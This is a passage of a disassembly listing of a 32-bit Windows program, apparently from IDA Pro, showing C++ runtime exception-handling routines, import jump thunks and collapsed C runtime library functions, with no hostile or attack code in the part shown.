eax, eax jmp short loc_438EE6 ; --------------------------------------------------------------------------- loc_438EE3: ; CODE XREF: sub_438C60+16Dj or eax, 0FFFFFFFFh loc_438EE6: ; CODE XREF: sub_438C60+148j ; sub_438C60+164j ... mov esp, ebp pop ebp retn sub_438C60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_454F28 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000026D BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000073 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CF BYTES: COLLAPSED FUNCTION __setmode_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000043D BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C3 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AE BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000195 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001A5 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003F8 BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS KEYPAD "+" TO EXPAND] ; [000002E0 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EE BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000ED BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A6C0 proc near ; CODE XREF: sub_40DD68+15p ; sub_40DDFC+15p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A6C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40DD15 mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43A870 push offset dword_43E460 lea edx, [ebp+var_28] push edx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A6C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A720 proc near ; CODE XREF: sub_43A7B0+10p ; sub_43A990+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DCEB mov edx, [ebp+var_10] mov dword ptr [edx], offset off_43E110 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43A720 endp ; --------------------------------------------------------------------------- align 10h ; [00000016 BYTES: COLLAPSED FUNCTION sub_43A790. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A7B0 proc near ; DATA XREF: .rdata:0043E118o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43A720 push offset dword_43E4D0 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43A7B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A7E0 proc near ; CODE XREF: sub_43A840+Ap ; sub_43A910+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A7E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_43E110 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DD38 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call ??1exception@@UAE@XZ ; exception::~exception(void) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A840 proc near ; DATA XREF: .rdata:off_43E110o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43A7E0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43A865 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43A865: ; CODE XREF: sub_43A840+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A870 proc near ; CODE XREF: sub_43A6C0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A8A0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E120 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A8A0 proc near ; CODE XREF: sub_43A870+Ep ; sub_43AA20+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A8A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_43CF7C lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40DCEB mov edx, [ebp+var_14] mov dword ptr [edx], offset off_43E110 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43A8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A910 proc near ; CODE XREF: sub_43A960+Ap ; DATA XREF: .rdata:0043E464o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43E120 mov ecx, [ebp+var_4] call sub_43A7E0 mov esp, ebp pop ebp retn sub_43A910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A930 proc near ; DATA XREF: .rdata:0043E128o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43A990 push offset dword_43E460 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43A930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A960 proc near ; DATA XREF: .rdata:off_43E120o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43A910 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43A985 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43A985: ; CODE XREF: sub_43A960+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A990 proc near ; CODE XREF: sub_43A930+10p ; DATA XREF: .rdata:0043E448o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A720 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E120 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A9C0 proc near ; CODE XREF: sub_40DE66+17p ; sub_40E0E5+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A9C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40DD15 mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43AA20 push offset dword_43E560 lea edx, [ebp+var_28] push edx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A9C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AA20 proc near ; CODE XREF: sub_43A9C0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A8A0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E148 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43AA20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AA50 proc near ; CODE XREF: sub_43AAA0+Ap ; DATA XREF: .rdata:0043E564o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43E148 mov ecx, [ebp+var_4] call sub_43A7E0 mov esp, ebp pop ebp retn sub_43AA50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AA70 proc near ; DATA XREF: .rdata:0043E150o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43AAD0 push offset dword_43E560 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43AA70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AAA0 proc near ; DATA XREF: .rdata:off_43E148o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43AA50 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43AAC5 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43AAC5: ; CODE XREF: sub_43AAA0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43AAA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AAD0 proc near ; CODE XREF: sub_43AA70+10p ; DATA XREF: .rdata:0043E548o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A720 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E148 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43AAD0 endp ; --------------------------------------------------------------------------- align 10h ; [00000019 BYTES: COLLAPSED FUNCTION unknown_libname_35. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AB20 proc near ; CODE XREF: unknown_libname_35+8p push ebp mov ebp, esp push offset nullsub_1 ; void (__cdecl *)() call _atexit add esp, 4 pop ebp retn sub_43AB20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AB40 proc near ; CODE XREF: unknown_libname_35+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4F4C3C and eax, 1 test eax, eax jnz short loc_43AB60 mov cl, byte_4F4C3C or cl, 1 mov byte_4F4C3C, cl loc_43AB60: ; CODE XREF: sub_43AB40+Fj pop ebp retn sub_43AB40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AB70 proc near ; CODE XREF: unknown_libname_35+12p push ebp mov ebp, esp push offset __initp_misc_winxfltr_0 ; void (__cdecl *)() call _atexit add esp, 4 pop ebp retn sub_43AB70 endp ; --------------------------------------------------------------------------- align 10h ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr_0. PRESS KEYPAD "+" TO EXPAND] align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43AB96 proc near ; CODE XREF: sub_40E3C7+6Fp jmp ds:dword_4F54F4 sub_43AB96 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F554C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43ABA2 proc near ; CODE XREF: sub_40D69B+5Ep ; sub_40F402+14Ap ... jmp ds:dword_4F5548 sub_43ABA2 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F5544 ; --------------------------------------------------------------------------- jmp ds:dword_4F5540 ; --------------------------------------------------------------------------- jmp ds:dword_4F553C ; --------------------------------------------------------------------------- jmp ds:dword_4F5538 ; --------------------------------------------------------------------------- jmp ds:dword_4F5534 ; --------------------------------------------------------------------------- jmp ds:dword_4F5530 ; --------------------------------------------------------------------------- jmp ds:dword_4F552C ; --------------------------------------------------------------------------- jmp ds:dword_4F5528 ; --------------------------------------------------------------------------- jmp ds:dword_4F5550 ; --------------------------------------------------------------------------- jmp ds:dword_4F5520 ; --------------------------------------------------------------------------- jmp ds:dword_4F551C ; --------------------------------------------------------------------------- jmp ds:dword_4F5518 ; --------------------------------------------------------------------------- jmp ds:dword_4F5514 ; --------------------------------------------------------------------------- jmp ds:dword_4F5510 ; --------------------------------------------------------------------------- jmp ds:dword_4F550C ; --------------------------------------------------------------------------- jmp ds:dword_4F5508 ; --------------------------------------------------------------------------- jmp ds:dword_4F5504 ; --------------------------------------------------------------------------- jmp ds:dword_4F5500 ; --------------------------------------------------------------------------- jmp ds:dword_4F54FC ; --------------------------------------------------------------------------- jmp ds:dword_4F5524 ; --------------------------------------------------------------------------- jmp ds:dword_4F5338 ; --------------------------------------------------------------------------- jmp ds:dword_4F533C ; --------------------------------------------------------------------------- jmp ds:dword_4F5340 ; --------------------------------------------------------------------------- jmp ds:dword_4F5344 ; --------------------------------------------------------------------------- jmp ds:dword_4F5348 ; --------------------------------------------------------------------------- jmp ds:dword_4F534C ; --------------------------------------------------------------------------- jmp ds:dword_4F5350 ; --------------------------------------------------------------------------- jmp ds:dword_4F5354 ; --------------------------------------------------------------------------- jmp ds:dword_4F5358 ; --------------------------------------------------------------------------- jmp ds:dword_4F535C ; --------------------------------------------------------------------------- jmp ds:dword_4F5360 ; --------------------------------------------------------------------------- jmp ds:dword_4F5364 ; --------------------------------------------------------------------------- jmp ds:dword_4F5368 ; --------------------------------------------------------------------------- jmp ds:dword_4F536C ; --------------------------------------------------------------------------- jmp ds:dword_4F5370 ; --------------------------------------------------------------------------- jmp ds:dword_4F5374 ; --------------------------------------------------------------------------- jmp ds:dword_4F5378 ; --------------------------------------------------------------------------- jmp ds:dword_4F537C ; --------------------------------------------------------------------------- jmp ds:dword_4F5380 ; --------------------------------------------------------------------------- jmp ds:dword_4F5384 ; --------------------------------------------------------------------------- jmp ds:dword_4F5388 ; --------------------------------------------------------------------------- jmp ds:dword_4F538C ; --------------------------------------------------------------------------- jmp ds:dword_4F5390 ; --------------------------------------------------------------------------- jmp ds:dword_4F5394 ; --------------------------------------------------------------------------- jmp ds:dword_4F5398 ; --------------------------------------------------------------------------- jmp ds:dword_4F539C ; --------------------------------------------------------------------------- jmp ds:dword_4F53A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53AC ; --------------------------------------------------------------------------- jmp ds:dword_4F53B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53BC ; --------------------------------------------------------------------------- jmp ds:dword_4F53C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53CC ; --------------------------------------------------------------------------- jmp ds:dword_4F53D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53DC ; --------------------------------------------------------------------------- jmp ds:dword_4F53E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53EC ; --------------------------------------------------------------------------- jmp ds:dword_4F53F0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53FC ; --------------------------------------------------------------------------- jmp ds:dword_4F5400 ; --------------------------------------------------------------------------- jmp ds:dword_4F5404 ; --------------------------------------------------------------------------- jmp ds:dword_4F5408 ; --------------------------------------------------------------------------- jmp ds:dword_4F540C ; --------------------------------------------------------------------------- jmp ds:dword_4F5410 ; --------------------------------------------------------------------------- jmp ds:dword_4F52D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F5414 ; --------------------------------------------------------------------------- jmp ds:dword_4F5418 ; --------------------------------------------------------------------------- jmp ds:dword_4F541C ; --------------------------------------------------------------------------- jmp ds:dword_4F5420 ; --------------------------------------------------------------------------- jmp ds:dword_4F5424 ; --------------------------------------------------------------------------- jmp ds:dword_4F5428 ; --------------------------------------------------------------------------- jmp ds:dword_4F542C ; --------------------------------------------------------------------------- jmp ds:dword_4F5430 ; --------------------------------------------------------------------------- jmp ds:dword_4F5434 ; --------------------------------------------------------------------------- jmp ds:dword_4F5438 ; --------------------------------------------------------------------------- jmp ds:dword_4F543C ; --------------------------------------------------------------------------- jmp ds:dword_4F5440 ; --------------------------------------------------------------------------- jmp ds:dword_4F5444 ; --------------------------------------------------------------------------- jmp ds:dword_4F5448 ; --------------------------------------------------------------------------- jmp ds:dword_4F544C ; --------------------------------------------------------------------------- jmp ds:dword_4F5450 ; --------------------------------------------------------------------------- jmp ds:dword_4F5454 ; --------------------------------------------------------------------------- jmp ds:dword_4F5458 ; --------------------------------------------------------------------------- jmp ds:dword_4F545C ; --------------------------------------------------------------------------- jmp ds:dword_4F5460 ; --------------------------------------------------------------------------- jmp ds:dword_4F5464 ; --------------------------------------------------------------------------- jmp ds:dword_4F5468 ; --------------------------------------------------------------------------- jmp ds:dword_4F546C ; --------------------------------------------------------------------------- jmp ds:dword_4F5470 ; --------------------------------------------------------------------------- jmp ds:dword_4F5474 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43AE06 proc near ; CODE XREF: _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *)+27p ; __global_unwind2+13p jmp ds:dword_4F5478 sub_43AE06 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F547C ; --------------------------------------------------------------------------- jmp ds:dword_4F5480 ; --------------------------------------------------------------------------- jmp ds:dword_4F5484 ; --------------------------------------------------------------------------- jmp ds:dword_4F5488 ; --------------------------------------------------------------------------- jmp ds:dword_4F548C ; --------------------------------------------------------------------------- jmp ds:dword_4F5490 ; --------------------------------------------------------------------------- jmp ds:dword_4F5494 ; --------------------------------------------------------------------------- jmp ds:dword_4F5498 ; --------------------------------------------------------------------------- jmp ds:dword_4F549C ; --------------------------------------------------------------------------- jmp ds:dword_4F54A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54AC ; --------------------------------------------------------------------------- jmp ds:dword_4F54B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54BC ; --------------------------------------------------------------------------- jmp ds:dword_4F54C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54CC ; --------------------------------------------------------------------------- jmp ds:dword_4F54D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54DC ; --------------------------------------------------------------------------- jmp ds:dword_4F54E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54EC ; --------------------------------------------------------------------------- jmp ds:dword_4F5334 ; --------------------------------------------------------------------------- jmp ds:dword_4F5330 ; --------------------------------------------------------------------------- jmp ds:dword_4F532C ; --------------------------------------------------------------------------- jmp ds:dword_4F5328 ; --------------------------------------------------------------------------- jmp ds:dword_4F5324 ; --------------------------------------------------------------------------- jmp ds:dword_4F5320 ; --------------------------------------------------------------------------- jmp ds:dword_4F531C ; --------------------------------------------------------------------------- jmp ds:dword_4F5318 ; --------------------------------------------------------------------------- jmp ds:dword_4F5314 ; --------------------------------------------------------------------------- jmp ds:dword_4F5310 ; --------------------------------------------------------------------------- jmp ds:dword_4F530C ; --------------------------------------------------------------------------- jmp ds:dword_4F5308 ; --------------------------------------------------------------------------- jmp ds:dword_4F5304 ; --------------------------------------------------------------------------- jmp ds:dword_4F5300 ; --------------------------------------------------------------------------- jmp ds:dword_4F52FC ; --------------------------------------------------------------------------- jmp ds:dword_4F52F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F52F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F52F0 ; --------------------------------------------------------------------------- jmp ds:dword_4F52EC ; --------------------------------------------------------------------------- jmp ds:dword_4F52E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F52E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F52E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F52DC ; --------------------------------------------------------------------------- jmp ds:dword_4F52D8 ; --------------------------------------------------------------------------- align 10h ; [000001A1 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000047 BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43E158 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002E BYTES: COLLAPSED FUNCTION exception::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000069 BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION exception::operator=(exception const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION exception::~exception(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000021 BYTES: COLLAPSED FUNCTION exception::what(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000040 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000028 BYTES: COLLAPSED FUNCTION type_info::operator==(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION type_info::operator!=(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION type_info::before(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION type_info::raw_name(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000019 BYTES: COLLAPSED FUNCTION type_info::type_info(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION std::_Init_locks::operator=(std::_Init_locks const &). PRESS KEYPAD "+" TO EXPAND] ; [00000041 BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C5 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B4 BYTES: COLLAPSED FUNCTION sub_43B5C0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002E7 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000056 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION _is_wctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_43BA70 proc near ; DATA XREF: .rdata:0043E364o lea ecx, [ebp-38h] jmp sub_40DD38 sub_43BA70 endp ; =============== S U B R O U T I N E ======================================= sub_43BA78 proc near ; DATA XREF: .rdata:0043E35Co mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_43BA8E mov ecx, [ebp+8] jmp sub_40DD38 ; --------------------------------------------------------------------------- locret_43BA8E: ; CODE XREF: sub_43BA78+8j retn sub_43BA78 endp ; --------------------------------------------------------------------------- loc_43BA8F: ; DATA XREF: sub_40D8D7o mov eax, offset dword_43E338 jmp ___CxxFrameHandler3 ; =============== S U B R O U T I N E ======================================= sub_43BA99 proc near ; DATA XREF: .rdata:0043E38Co lea ecx, [ebp+14h] jmp sub_40DD38 sub_43BA99 endp ; =============== S U B R O U T I N E ======================================= sub_43BAA1 proc near ; DATA XREF: .rdata:0043E394o lea ecx, [ebp-1Ch] jmp sub_40DD38 sub_43BAA1 endp ; --------------------------------------------------------------------------- loc_43BAA9: ; DATA XREF: sub_40DA4Eo mov eax, offset dword_43E368 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- align 4 loc_43BAB4: ; DATA XREF: sub_40E175o mov eax, offset dword_43E398 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43BAC0 proc near ; DATA XREF: .rdata:0043E494o lea ecx, [ebp-38h] call sub_40DD38 retn sub_43BAC0 endp ; =============== S U B R O U T I N E ======================================= SEH_43A6C0 proc near ; DATA XREF: sub_43A6C0+5o mov eax, offset dword_43E470 jmp ___CxxFrameHandler3 SEH_43A6C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43BAE0 proc near ; 